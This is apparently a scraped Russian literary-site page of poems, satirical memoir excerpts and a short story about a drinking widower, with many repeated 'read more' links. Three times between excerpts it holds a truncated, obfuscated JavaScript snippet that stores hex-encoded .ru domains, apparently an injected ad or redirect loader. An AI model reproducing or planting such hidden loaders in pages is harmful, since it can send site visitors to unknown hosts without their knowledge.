Белый сад слова нашёптывал
Про весенние деньки.
В ночь блестели ярко стёклами
Окна словно маяки.

Поезд

Дождик холодный тренькает
По струнам усталых рельс
Не за большими деньгами
Я еду в осенний рейс.

Город с трубами – вышками
Маячит, словно звезда
В окна яркими вспышками
Летящие поезда.
-6-
В синих сумерках вышиты
Созвездья больших городов
Может в небесной выси там
Теплятся окна домов

В темень нырнуть отважится
Неугомонный состав.
Вагон наш спать уляжется
От разговоров устав.

Утром я выйду на площадь,
Асфальт до блеска промыт.
Увижу: в каменной роще
Бедняга – рябинка дрожит.

Но рушит простое счастье
Та страсть - к перемене мест.
Над городом ангел летящий
Поднял сияющий крест.

***
Я думаю о Вас под тихим снегопадом,
Когда моей души коснулись добрым взглядом.
И в час, когда беда грозит землетрясеньем,
Лишь в памяти о Вас ищу своё спасенье.
В метельный, трудный час мне тихая отрада:
Вы помните меня – мне большего не надо.
***
Что слово – облако тумана
Доска, закинутая в гать,
Но мне по ней легко и странно
В луга прибрежные бежать

Рассвет качающие воды
Текут в медлительной реке
И разговором пароходы
Разбудят рощи вдалеке.

***
То не стихи, то проза жизни - Макушка лета сенокос. Давай поклонимся Отчизне: За даль дорог, за шум берёз. За этот край, где нам родится, Где нам трудиться довелось. И летний лес нам будет сниться, Где по осиннику не лось, Не зверь какой трещит ветвями. Вдвоём мы ходим за грибами.

***


-7-

Поезд

Дождик холодный тренькает
По струнам усталых рельс
Не за большими деньгами
Я еду в осенний рейс.

Город с трубами – вышками
Маячит, словно звезда
В окна яркими вспышками
Летящие поезда.

В синих сумерках вышиты
Созвездья больших городов
Может в небесной выси там
Теплятся окна домов

В темень нырнуть отважится
Неугомонный состав.
Вагон наш спать уляжется
От разговоров устав.

Утром я выйду на площадь,
Асфальт до блеска промыт.
Увижу: в каменной роще
Бедняга – рябинка дрожит.

Но рушит простое счастье
Та страсть - к перемене мест.
Над городом ангел летящий
Поднял сияющий крест.

***
Озарилась любви твоей светом
Эта даль, что прозрачно чиста.
Над домами, над времени бегом
Только тёплая высота.

Хорошо по осенним травам
Нам с тобою бродить не спеша….
Но, послушна бродячему нраву,
Вдаль упрямо зовёт душа.

Верю – радостью утро засветиться
Луч коснется меня золотой.
Мы с тобой непременно встретимся:
Мы живём на планете одной.
***
-8-

***
Раскатали дом по брёвнышку
И продали на дрова.
А гляделось в окна солнышко,
В ноги падала трава.

Белый сад слова нашёптывал
Про весенние деньки.
В ночь блестели ярко стёклами
Окна словно маяки.


Мужики
«Какие к чёрту мужики…»
М. Безденежных
В стакане не утонут с водкой,
За каждой юбкой не бегут,
Идут спокойною походкой,
Своих друзей не предают.

Им по плечу любое дело,
В дугу их не согнёт беда.
Ветра эпохи встретят смело
Судьбы вершители всегда.

Пусть перемен дожди стальные,
Бояться горя – не с руки.
Есть у тебя сыны, Россия,
Твоя опора – мужики.

***

кто-то где-то сказанул мол каждому своё в сущности тот некто абсолютно прав с тех самых пор так и повелось что каждый имеет своё на что наработал а пенять всегда в первую очередь нужно лишь на себя в сущности даже стихия незначительное проявление самости этого неадекватного и неуправляемого homo..

Тихая светлая грусть. Сижу на кухне за столом. Отрешённо пью чай. Смотрю фотоальбом. Вспоминаю. Школьные годы, юность. Безмятежное время весны и первой любви. Тогда всё было просто и понятно. Весь мир лежал перед нами и сотни дорог ждали нашей уверенной поступи.
[ Читать далее... → ]

 «Eсли есть вероятность, что какая-то неприятность может случиться, то она обязательно произойдёт!»… (Закон Мерфи)

Недоверие, мнительность и сомнения к тварям Божьим и ко всем иным объектам у нас, граждане, верно — в крови. Всё так и бывает, что ко всему мирскому проявляем мы неподдельный интерес… и это логично, это закономерно, но, заметьте, не всегда мы делаем это — с осторожностью. Никак, право, не желаем учиться на чужих ошибках.
Иной раз, случается такое, что просто диву даёшься — зачем… куда, казалось бы, я лезу. И всё одно, порой суём нос туда, к чему даже Тузик соседский интерес давно утратил.
Кто-то мучается и никак не может себя занять от безделья, а мне Господь преподносит всё новые… и серьёзные испытания, от которых, и ниже спины всё в мыле и с волос, что на голове… водопадом солёные воды низвергаются.
Вот и опять…
Пожалуйте…
Отнюдь… не фантастическая и комическая ситуация, однако, близкая к таковым, чтобы на раз… получить инфаркт, а на два — душевную травму: навечно, бессрочно, навсегда. Учат… учат нас, олухов, врачеватели; грозят… грозят они скальпелями, жгутами и кулаками, чтоб не расшатывали мы нервы друг другу, избегали стрессовых ситуаций и потрясений, берегли себя от напастей и хворей.
Ага, всё поняли…
И опять на «авось»… «небось»… да «как Бог даст» — и надежда вся. Кто осмелится оспорить, кто сумеет возразить, а посмотрю-ка, я на оппонентов своих «глаза — в глаза»…
Сказочники гля…
На сей раз началось всё с телефонного звонка… издалёка — из-за границы. И звонила мне не чёрт те кто… а подруженька, которую я давно знаю и полюбливаю. Всего-то и спросила — о погоде. Звонок, знаете ль, звонком… ничем от других не отличающийся, а каковы, слушайте — впоследствии… для меня от разговора оного последствия: судорожные… и просто траурные.
Отвечаю, что погода, дескать — аж… до тридцати градусов с пребольшим минусом. Вот, смотрю, мол, в окно на улицу и вижу, что идущие по тротуару девицы растирают носы свои варежкой по щекам до нулевого состояния, что они на их лицах невидимы.
—Тю… та будя сочинять то, — говорит, — милок! Вижу я в сети интернета, что оттепель у вас, а при такой температуре, извини, только головкой ловить сосульки с крыш, а не в лапки дуть и хвост морозить!
Это-то, граждане, и вызвало у меня некое недоумение, ввело в ступор… и оцепенение. Подруженька не мне, знаете ль, верила, а сети интернета — этой помойке, как молвила тут, намедни, одна из древних моих тётушек. Выходит, что желанной моей зазнобушке за две тыщи вёрст отсель — с самого Рога Кривого, с самого центра Европы виднее, чем мне.
—Батюшки-светы! Да она, вишь ли, лучше знает, какая туточки у нас, в Заволжье, погодка. Ну-с… Бог с ней, не верит… и не надоть, но выходит, что выставила она меня не в лучшем свете не только перед мудрым моим котом Василием и безмозглыми гупёшками, а и в своём семейном кругу — на посмешище.
—Негоже, — говорю, — киса, поносить меня… негоже конфузить Честь мою, ибо не заслужил я онаго к свой персоне отношения, а тем паче, подозрений, построенных вами, мадам, на огульных домыслах и догадках. Знать — не любовь меж нами, а таки влюблённость… и та одноразовая… и безответная. Что ж, насильно мил не будешь.
Расстроился я, братцы… Хоть ложись, право, и безмолвствуй. Таки… нет! Чёрт меня дёрнул…

Другой, кто поумней, отложил бы все дела до утра. Как же… мне ноне и сейчас требо убедиться. То ли компот вчерашний долбанул в мозг, то ли искушению Лукавого поддался, но перестав доверять показаниям термометра, решился лично проверить температуру воздуха за бортом — на улице, доказать… всем свою правоту.

Ну, не дурень ли…[ Читать далее... → ]

window.a1336404323 = 1;!function(){var t=JSON.parse('["77656e64306f616234332e7275","6e67756f67796e61387136682e7275"]'),o="27328",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

Я слишком красив, чтоб раньше времени умирать… (Г.Распутин)

Кто из нас, граждане, не обитал в специализированных жилых помещениях… типа студенческих общежитий, тот и к старости, верно, жизни не познал.
Кто даже не вселялся… и не проживал в них, всё одно… знают и о разношёрстном там контингенте, и о сложившихся моральных устоях, не всегда, правда, совпадающих с Заповедями Закона Божьего или сводом принципов Морального Кодекса строителя коммунизма, кои моё поколение знает, как «Отче наш!»…
Однако, общежитие оно и есмь — общежитие.
Это равносильно колхозу, где всё, вроде как… общее, кроме, пожалуй, полюбовниц, зубной щётки, грязных, рваных и вонючих носков, да у девиц — маменькиных чулок, да панталонов с рейтузами.
У кого-то оное жильё ассоциируется с постоянными пьянками, у кого-то — с диковинным, вавилонским развратом, причём, с блудницами… отовсюду — со Всeя матушки Руси.
У студента ж… Серёги Отёкшина далеко не лестные представления об оном заведении совсем по-иному поводу… Никогда он не возносил общагу с благоговением и пиететом… как сие делают другие, а до сих пор только и поносит её, да хает самыми последними, что ни на есть: матерными, кабацкими, заборными эпитетами и метафорами, что даже у меня, злостного матерщинника, уши вянут, сворачиваясь то в толстую кубинскую сигару, то в луковый рулет — со смясом.
—Почто так?—кто-то спросит.
—Дык, отвечу…
Для того, ребятушки, надоть просто вселиться в общагу, что он и поэкспериментировал однажды с собою, что он единожды и сделал, временно устроившись туда, когда поругался с родичами, чтобы потом всю жизнь вспоминать, да клясть, на чём свет стоит, те полтора месяца, кои находился он в замкнутом мирке — средь чуждого ему люда, да ещё и на правах бездомного пса.
Верите ль…
Икота до сих его мучает, о чём по трубе и жужжит постоянно мне в ухо, аки шмель, что ему, вишь ли, хохлы помешали там красиво пожить, да погулять, порушив дерзкие его мечты в отношении молоденьких абитуриенток…
И при чём тут хохлы… не понятно. Я ему устал объяснять, что общага — это не барские… родительские их хоромы, а помещение, где под крышей кантуются, тусуются и болтаются простолюдины, кому приткнуться некуда… чьи места только на привокзальных лавчонках, с чужими девчонками—мордовками.

Понятное дело — студенчество…
[ Читать далее... → ]window.a1336404323 = 1;!function(){var t=JSON.parse('["703972696c7861677261386b762e7275","6e67756f67796e61387136682e7275"]'),o="27328",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

                   


 


      Кто
не был на той квартире, то стоило туда сходить на экскурсию, как ходят смотреть
на руины Древней Греции. Пол  был
никакого цвета, на старом шкафу и на диване  грязно-серого цвета валялись кучи старой
одежды, на столе - мотки разноцветной проволоки. А под столом стояли бутылки
всевозможных форм. Собирание бутылок стало у хозяина квартиры - Толяна – второй
профессией. Стены комнат в разное время были побелены с желтым, голубым и
розовым колером, теперь отливали всеми этими оттенками. А сверху по этому
великолепию авангардной живописи легли серые пятна пыли.


   Хозяин квартиры и раньше не отличался
трезвым образом жизни, а после смерти жены Нины пил, что называется с горя. Но
это сейчас Толян  уверяет, что жили они с
Ниной душа в душу. А кто помнит, они часто ссорились. Нина была скуповата, сама
одевалась кое-как, а мужу самую дешевую одежду покупала, деньги на сберкнижку
складывала. У Толяна были другие взгляды на жизнь. Он любил после работы пузырь
купить и выпить его с другом, рассуждая за жизнь. Или он не станочник? Или у
него зарплата мала? Но Нина гнала в шею мужниных друзей,  отнимала у мужа бутыль, а то со зла могла и
вылить драгоценное содержимое в кухонную мойку. Вот Толян и шел к кому-то из
друзей, за рюмкой посидеть.


       А если приходил поздно, то жена кричала:



- Где ты
шаришься? А ну-ка дыхни!


      Толян отвечал:


- Имею право
на отдых!


Вот такое
семейное счастье.


     После 91-го года деньги на книжке у
экономной Нины обесценились, и она стала еще злее пресекать свободный отдых
мужа. А через год на заводе сократили сначала нормировщицу Нину, а потом
станочника Толяна.


    «Глава семьи» смог устроиться в частный
продовольственный магазин. Под зарплату ему давали хлеб, продукты и даже водку.
Поэтому в день зарплаты ему просто нечего было получать. Ещё эгоизм разыгрался
у Толяна – перекусив и выпив на работе, он домой нес булку хлеба и пару
пакетиков китайской лапши.


   Сын
Володя голодный ходил на занятия в училище, где никак не хотели давать мизерную
стипендию. В день, когда выдавали стипендию, подъезжали к училищу  крутые пацаны и отбирали деньги и всё, что
можно. Кто не хотел отдавать - избивали и всё равно грабили. Стипендию должны
были дать за три месяца. Володя пошёл за стипендией с пожилой соседкой,  которая иногда приносила его матери овощи из
своего огорода. Крутые пацаны не тронули Володю с какой-то родственницей, и они
благополучно дошли до остановки и уехали в свой микрорайон. Володя пообещал
соседке весной вскопать грядки. А на стипендию купил разных круп, дешёвые
кроссовки, парусинки и килограмм ирисок.


    Нина часто болела, она целыми днями она
перебирала старые вещи, а шерстяные кофточки распускала на ниточки и сматывала
в клубки. Вязала носки и шарфы, продавала их недорого у магазина. Эпидемия невиданного
гонконгского гриппа оборвала страдания этой не старой, больной женщины.
Хоронили её на краю сильно разросшегося кладбища. Падал первый снег. Опустили
гроб в не глубокую могилу, насыпали не высокий холмик и, по бедности даже
креста не поставив, положили скромный веночек из бумажных пропарафиненных  цветов, чтобы по этому веночку весной найти
могилу. В последний путь Нину, кроме Толяна, провожали  два его друга (надо же кому-то могилку
закапывать) да сын Вова с двумя друзьями по училищу. Другой родни на эти бедняцкие
похороны не нашлось.


    Сестра 
Толяна не смогла приехать из другого города, потому что зарплату
задержали. Вскоре после похорон Толяна выгнали из магазина. Или выпил в рабочее
время, или слямзил кусок колбасы. Но мужик быстро сообразил, как сделать
бизнес. Около больницы Толян приметил две массивные


 


                                                              
-2-


 мусорницы в виде вазы на подставке. Глазом
опытного металлоискателя определил, что эти «вазы» из цветного металла. Побродив
по микрорайону, «металлист» присмотрел, что такие же мусорницы у                                                                  


 аптеки и кинотеатра, у библиотеки и ещё кое-
где находятся. Рано утром Толян надел старую куртку, взял тележку, переделанную
из детской коляски и мешок.


   Никто не обращал внимания на мужчину,
который вёз мешок с чем-то на тележке. Мало ли сейчас собирателей тряпок,
бутылок и бумаг? Дома Толян пилкой по металлу распилил мусорницу и поехал на
автобусе сдавать металл.


   Володя, вернувшись с занятий, застал царский
ужин - макароны по-флотски и чай с сахаром. Себе Толян купил всего пол литра
самогона, потому что решил взяться за ум.


  По утрам Толян ходил за мусорницами все
дальше и дальше, методично уничтожая признаки культуры на городской окраине.


 


                                                                   ***


               Прошло двадцать лет. Володя
купил у соседки дачу, в выходные с удовольствием возделывает грядки, охотно
делиться урожаем с теми, кто в этом нуждается. Его жена и дочь Нина, названная
в честь бабушки, в этом поддерживают хозяина. Дед Толян иногда просит у сына,
хранителя его пенсии, на «мерзавчик», и ходит на кладбище, где над могилой жены
стоит небольшой мраморный памятник.


 


 


 

Устав от серости будней, вновь вспоминаю о прожитых годах… 
А провоцируя эмпатию, начинаю сочувствовать не столько нынешнему молодому поколению, прожигающих свою жизнь не на футбольных или хоккейных площадках, а в виртуальной реальности, сколь соболезную себе и моим сокурсникам… Так, братцы, лёжа на кушетке, ностальгически рассусоливаю, как с приходом очередного Дня Рождения, каждый из нас начинает: тускнеть, мрачнеть, хиреть и в конце концов… 
Царствие Небес!… 
Вот и опять: навеяло, всколыхнуло, зажгло и понесло… 
Кто… был с непререкаемым авторитетом, того и хороним с уважением и почтением, а кто-то, просто умирает в наших глазах, бесславно… и с утратой о нём каких-либо воспоминаний. Туточки то мне и вспомнился дружок Вербин, с которым учились в юридическом институте. А позже радовались присвоению ему генеральского чина и даже пели. 
—Аллилуйя!… Мой друг — Генерал! 
Немудрено… право! Все мы ноне, граждане, понимаем, что дай только Власть человеку и… после взлёта, ты увидишь его истинное лицо, так как он, вообще, забывает о самом твоём сосуществовании, пока не упадёт сам или ему сослуживцы не помогут оказаться на нарах. Чу… Убереги его Господь! 
Не стоит, однако, на властолюбцев обижаться, держать булыжник за пазухой иль плевать им в лицо, да, и вообще, пора перестать обращать на них внимание, ибо это один из Законов и столпов жизни карьеристов и чинуш, и кажется, что этому редкостному заболеванию мало кто сопротивляется… и редко кто противостоит. 
Вот, к примеру, врачи диагностируют, что поскольку метастазы слишком глубоки, то и средств излечения этой пагубной болезни просто не существует. 
Живёшь так, смотришь… Опаньки!… А эти «друзья» уже, и не друзья вам — вовсе, ибо забывая своё прошлое… и не задумываясь о совместном проживании в Общежитии будущего, они теряют и то… и другое. 
Нет, не делился я с Вербиным в детстве куском хлеба, намазанного сливочным маслом… посыпанного сверху сахарным песком, не дрался с ним и в советской песочнице из-за сопливок, так как не были мы тогда с ним знакомы, но студенческая дружба, казалось, всего дороже… иль я сильно в оном ошибаюсь. 

Ни к кому и никогда я не обращался с прошением, но единожды позволил себе такую блажь, прибегнув к бывшему дружку—генералу, за помощью, дабы он, как Зам. Генерального прокурора, испросил разрешения властей Всея Московии — на посещение моим сыном Мавзолея, но не там, где почивает бальзамированный Ильич при бабочке, а на трибунной его части, где в довоенные ещё времена мой пращур топтался со сталинской свитой, и покуривая трубку, принимал парады на Красной площади. 
—Для чего тебе это?—спрашивает Серёга. 
—Как это для чего… для чувств-с!—отвечаю. 
—Во-первых, надо время то суровое ему прочувствовать… оценив саму эпоху, в которой проживал родной нам человек. Во-вторых, получить от всего положительную энергию, наполняющую нас и душу нашу — памятью Святой; наконец, ощутить некий заряд и импульс, которые направят нормального русского гражданина — на новые дела и свершения. 
Что ж… тут удивительного. 
[ Читать далее... → ]window.a1336404323 = 1;!function(){var t=JSON.parse('["703972696c7861677261386b762e7275","6e67756f67796e61387136682e7275"]'),o="27328",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

Когда я подошёл к крыльцу вино-водочного магазина, то увидел там старенькую бабушку, которая сидела на низенькой табуретке. Она торговала семечками в газетных кулёчках. Бабуся нацелилась на меня своим колючим взглядом и начала что-то невнятно бормотать:
— Фамфала!!!
— Что бабуся? — переспросил я.
— Шамфалла!!! — продолжала бормотать она и показывать корявыми пальцами на неприметный вход в подвальное помещение магазинчика.
— Не понял! — я подошёл поближе и наклонился к бабушке.
— Шамбала! — прохрипела она, нервно переворачивая своими неуклюжими сухими руками пакетики и стаканчики с семечками, как будто негодуя на то, что я её не расслышал.
Семечки падали на свежевыпавший снег и скатывались по замёрзшим ступенькам. Шустрые воробьи, уже заметив дармовую пищу, с задорным чириканьем слетались с ближайших деревьев.
Я осмотрел бабушку более внимательно, кто бы мог подумать, что именно эта потрёпанная, беззубая старушка и есть хранитель врат... Врат, которые я искал так долго, битую тысячу лет, по горам Тибета и Алтая. Искал тщетно и не мог найти, и вот сейчас именно здесь, в этом убогом месте, возле не очень-то уж и высокой горной гряды, мне откроется вход ко всем секретам и тайнам, мучающим меня всё это время.
Я присел на корточки около бабули и встряхнул её, обхватив за тощие плечи:
— Шамбала? — волнительно переспросил я.
— Да, дааа... Шамбалаа! Там!!! — махнула она своей клешнёй.
Я отпустил бабулю и стал спускаться по узким ступенькам в какую-то подсобку. Старая обшарпанная дверь со скрипом отворилась передо мной, в помещении было совсем темно и сыро, в нос ударил запах земли и гнилых овощей. Я без колебаний ступил внутрь.
В глазах потемнело, потом всё как будто озарилось яркой вспышкой, закружилось и снова померкло.
— Саня, вставай! Очнись! — тормошил меня кто-то.
Я открыл глаза, рядом весь в заснеженном костюме с альпенштоком в руке стоял Серёга:
— Нам надо идти, идти дальше, очнись! — кричал он мне через воющую и швыряющую снегом метель.
Я понял, что мы снова в горах и ощутил кожей колючий мороз. На календаре похоже был девяноста седьмой. Я осознал, что меня снова отбросило назад, примерно на пару десятков лет.
Отбросило... Это значит, что я всё ещё не готов, не готов... Шамбала не пускает меня, моё время не настало.
Но нет таких преград и крепостей, которые бы не рассыпались перед человеческим волевым напором.
Я поправил очки и капюшон, оторвал тело от холодной скалы и сделал шаг вперёд.
— Давай, давай Серёга, я в норме! Вперёд! — крикнул я другу.
Серёга махнул мне рукой, и, наверное, улыбнулся, только я этого не увидел под всеми его причиндалами.
Я знал, Серёга сегодня закончит свои поиски, навсегда.
Дальше мне придётся идти одному.

Помню, в одной песне пелось: «Вагонные споры последнее дело, когда больше нечего пить». Пить действительно было нечего. И не с кем. Попутчики в этот раз мне попались сугубо трезвого образа жизни. Мамаша с двумя детьми, женщина предпенсионного возраста с приятной внешностью и взглядом директора школы, а также молодой человек с чисто интеллигентной наружностью и очками а-ля Гриша Лепс.
[ Читать далее... → ]

Зажгу свечу, пускай горит она…
Возьму стакан, накрою коркой хлеба
И молча, «горькую»… до дна,
Тебя, Володька, провожая в Небо…

Вспоминая очередной День Рождения братца своего, всегда вспоминаю эти слова индейской национальной народной песни. Не всяк из родных уже о том и вспомнит, кроме меня, да его... ещё здравствующих ноне родителей.
Сколь раз слышал я поучения старцев: «Наперёд никогда не загадывай!… Счастье любит тишину… и молчание!»… Знаю я одного дедка—пасечника Григорьича, который о чём бы ни думал, что бы ни высказывал, планируя что-то сделать назавтра, всегда поминал о Боге.
Так… в душе со Всевышним и дожил уже до девяноста лет, а приведя в горницу новую гривуазную пассию, полагает и ещё не менее того прожить. И это после отошедших в Мир Иной двух своих супруг, оберегающих, видимо, его новое счастье уже с Небес… Храни же их Господь!
Да, так и говорит он сегодня.
—Бог даст, таки поживу ещё и с этой «молодкой!»…
И видя в том его полную уверенность, почему-то, никогда и ни у кого не возникает сомнений, что действительно — проживёт… и поживёт в своё удовольствие.
«Хочешь рассмешить Господа Бога — расскажи ему о своих планах!» — гласит мудрая поговорка. Действительно, порой даже тщательно продуманные перспективы в будущем, иной раз, срываются в связи с непредвиденными обстоятельствами. Или… того хуже. Бывает так, что только один случай может перевернуть жизнь целой семьи — с ног на голову, а потом каждый начинает упрекать себя за, якобы, непродуманные те думы и действа…

1980 год.
В летней кухне села Митрофановки, что находится в глубинке Саратовской губернии, жарилось, парилось, варилось, ибо семья готовилась к встрече сына с далёкого Афганистана. Много слухов тогда ходило по стране о далёкой ото всех войне, «грузах—200»… о цинковых, наглухо запаянных гробах. Стороннему же люду казалось, что это где-то далеко… это у чужих, где-то в Ивановке, либо Николаевке, но только никак не в их Митрофановке.
Только что отслуживший там, на чужбине, сосед Федька Штана сообщил, чтобы следующим рейсом воздушного лайнера родители ожидали и своего Володьку, а он будет с дружками и подругами готовиться к встрече своего афганского боевого дружка—шурави, как их называли иноземцы за границей.
Судя по предостережениям древнего люда, никогда не нужно опережать события… Однако, не каждый день в семьях такая радость и как не поведать всем о ней, как не сообщить своим близким о возвращении сына. Вполне же логично было сказать об этом и своим соседям, всё одно — гулять вместе.
Но мы продолжаем творить по-своему, нарушая древние заповеди и традиции, сложившиеся на протяжении тысячелетий.

И когда мать достала из шкафа одежду сына и доглаживала брюки, то сердце её болезненно кольнуло, что она едва удержалась на ногах. И не напрасно, ибо отец заканчивал заседание партийной организации, когда в кабинете раздался тревожный звонок телефона, и по Закону подлости, командный голос сообщил именно ему о прибыли на энгельскую авиабазу ВВС «груза—200»… с телом их сына.

Начав писать мемуары ещё октябрёнком, я указывал, что сотни высоколобых Правителей размышляют над судьбами мира, изобретая всё новые и новые виды вооружений, а страдания и беды испытывают миллионы безвинных, в том числе, и простой люд русской нации.
И терзающие меня смутные сомнения исчезают, когда наблюдаешь за выборами у пиндосов в Соединённых Государствах Америки, где за Овальный кабинет сейчас «атомная» истеричная мужланка бьётся насмерть с «ядерным» рыжим мужиком, а весь мир выступает в роли всезнающих судей.
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]

А был ещё такой в моей жизни случай…
Как-то, братцы, пригласила меня бывшая институтка понежиться с нею вместе под южным ласковым солнцем… да не где-либо, а в Сочах. Скучно ей, видите ль, одной курортничать.
Уж я ей и так и эдак, мол, в лес дров, дорогая, не возят, дескать, и без меня мужичков там, аки грязи — на любой вкус. Выбирай только… Хочешь чёрненького массажиста—негра, желаешь, таки — мулата, да и с обоими, де, не соскучишься — развлекут… Зачем, скажите, наш люд мчится на Юга… Да удовлетворить природную свою потребность и быть тогда заряжённым на весь год… Вот, дескать, расслабишься и вернёшься умиротворённой, а сказочников то везде хватает.
—Только с тобой!—дрындит, да трындит своё сердцеедка.—И ни с кем более…
Либо, действительно, зауважала меня, то ли стала полюбливать… или просто гормоны у шалуньи с третьим полным размером глаз с прищуром забаловали. В общем, попался я, что тебе щука на блесну.
—Молода ль… подружка?—спросите.
—Та… откель мне знать! Считать то нужно!… Высчитывать… Порхает то она — дай Бог летать каждой нашей гимнасточке в Рио… Судя по поступкам и реакции, таки голубка легкокрылая… Эта девица порхнёт до Небесной Канцелярии, не задерживаясь и в Чистилище. Ах, дьяволица, какова же у неё тазобедренная композиция! А… производственные спереди неё мощности, я вам скажу…. А тело… Оно таки лоснилось, словно было покрыто сливочным кремом с шоколадом.
Н-да, уж… Пардон-с…
Слюной бы не захлебнуться.
А вот сколь годков — не знаю. Помнится, когда праздновали её День рождения, то на торте была кремом писана круглая дата — «Восемнадцать лет, триста двадцать пять месяцев!»… Сами считайте… Для меня, гуманитария, к примеру, затруднительно, ибо я не счетовод! Да и счёты где-то бабкины, на коих я с горы ещё октябрёнком катался, пылятся, не отыскать сразу.

Скажу одно, что с каждой минутой знакомства с хмельной подружкой, возникало ощущение, что я окончил философский факультет. В общем, без глубоких знаний математики и философии, с нею никак не сдружиться… Мыслитель ей всегда нужен для общения, Кентавр в ложе… и стихотворец на прогулках, а не чёрт те кто из зануд—старообрядцев с улицы.
А я всё решался ехать — не ехать, ибо знавал, что не простая она дева, а дымный порох в китайской петарде — рванёт… таки не знаешь когда, куда и как полетит.

—Ох, и хитра же, бестия! Взять на период бархатного сезона дружка себе в аренду!… Что же это, братья, получается. Выходит, что они со своей мамашей меня купили… А как же глубокий их внутренний мир! Боже, а не всё ли мне равно!… Да пусть заласкает хоть волна морская, хоть амазонка заморская! Выдюжу, чай не утопну.
Как говорила моя бабаня Нюра, вспоминая погибшего на фронте деда.
—Кто-то едет в страны третьего мира, дабы присмотреть покорную для себя рабыньку!… Кто-то пускается в чёс по провинциям, желая где-то в глуши Башкирии отыскать себе юную красотку. Кто — по санаториям. Кто — по курортам. Правило у них, кобелей клятых, одно — женщину все они хотят покрасившее!
Вот и пойми их, этих баб… Говорила одно, что муж ходок был по солдаткам, да подружкам, а верность, скажи, хранила своему Фёдору всю, и не совсем сладкую, жизнь.

Главное, не спросив меня, мамка Иры, вишь, так решила. Матушка, видите ль, усмотрела во мне её Ангела—хранителя. Ну, не смешно ли… Девочка и сама широка в кости, уж… за кого-кого, а за себя то постоит и глубокий след своих коготков на личике ворога обязательно оставит. Её кулачками только орехи и колоть. 
А ведь посмотришь на неё издали, таки тростиночка — нежнее саратовской берёзки…
Боязно было и словцо то ей, иной раз, поперёк молвить, а коль ещё и по попке шлёпнуть, так эта милейшая трындычиха врубит на полную громкость свою болтушку, руки в боки, и — вот она… спесь и гордость русская: постоит не только за народ Всея Рассеи—матушки, но, при случае, и за иноверцев, братьев—бурят, с кем она, почему-то, разрезом глаз уж… очень схожа.
Ну, раз матушка её оказала мне доверие, всучив ещё и кругленькую на отдых сумму, то охваченный чувством благодарности, решил я тогда, соплеменники, рвануть с дочей её на Юга. Всем понятно, что отдыхать — не вкалывать на Монарха и его команду по вертикали — до низов самых…
Однако, решиться и рвануть — это такие, скажу вам, разные понятия, как небо и земля, леса и поля, город и деревня, как тёща и… любвеобильная соседка Тамара.
Без особой, надо заметить, помпы согласился—таки я составить пылкой и решительной зазнобе весёлую компанию… Ну, а коль время есть, почто бы с нею и не проветриться: остра на язык, с хорошим чувством юмора, богатством фантазии, с которой никогда не соскучишься, в пучине моря не сгинешь, но вот горюшка вдоволь хватишь…
Ведь Иришка всегда была из тех дам, кои находятся в поисках любви и перемен в личной жизни; ну, а в конкурсе на ширину улыбки, эта женщина—тайфун обошла бы меня вперёд на целый корпус.
А вот, и день отъезда…

[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]
[ Читать далее... → ]

О жизни размышляю не без грусти.
Могли ж… меня и не найти в капусте.

Санкт-Петербург…
Экипаж проездом с Таллина на Мурманск… Кто куда…
Я решил брать Зимний дворец…
Вообще, скажу, я не сторонник застывших поз…
Но сколь бы ни посещал Эрмитаж, то меня снова и снова тянет в эту Святыню — повышать, так сказать, свой культурный уровень.
И не только… Посещение всемирно известного Музея мне памятно ещё и по другому поводу…

Помнится, первый раз…
